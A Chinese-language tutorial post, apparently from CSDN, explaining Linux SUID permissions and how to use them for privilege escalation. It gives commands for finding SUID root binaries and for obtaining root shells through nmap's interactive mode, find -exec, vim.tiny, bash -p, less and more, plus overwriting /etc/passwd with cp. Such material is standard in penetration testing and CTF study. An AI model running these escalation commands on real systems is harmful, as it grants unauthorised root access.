Linux提取—suid
SUID (Set UID)是Linux中的一种特殊权限,其功能是用户在运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件。在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非roo
什么是SUID
SUID (Set UID)是Linux中的一种特殊权限,其功能是用户在运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.,利用此特性,我们可通过SUID进行提权。
怎么设置SUID
可以先查看可执行文件是否有suid权限
ls -alh 文件名
设置suid权限:chmod u+s 可执行文件
取消suid权限:chmod u-s 可执行文件
现在已知的具有suid权限的可执行的二进制文件有以下这些
nmap |
vim |
find |
bash |
more |
less |
nano |
cp |
awk |
以下的命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以上文件都是以suid权限运行并且属主都是为root
Nmap
适用版本为:nmap2.02 -5.21
在早期nmap版本中,nmap带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
nmap --interactive
并通过以下命令提权
nmap> !sh
sh-3.2# whoami
root
msfconsole中也有对应的nmap提权模块
cp
cp命令可以将/etc/passwd文件覆盖,结合/etc/passwd提权CSDNhttps://mp.csdn.net/mp_blog/creation/editor/124102433find
当find命令有suid权限是
必须要有这个文件(passwd文件可以替换为任何存在的文件)
find passwd -exec whoami \;
vim
vim为文本编辑器,如果vim具有了suid权限,则可以用root权限读取系统上的任何文件
vim.tiny /etc/passwd
利用vim进入shell
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
Bash
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2
# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less 和 more
less和more命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh
更多推荐
所有评论(0)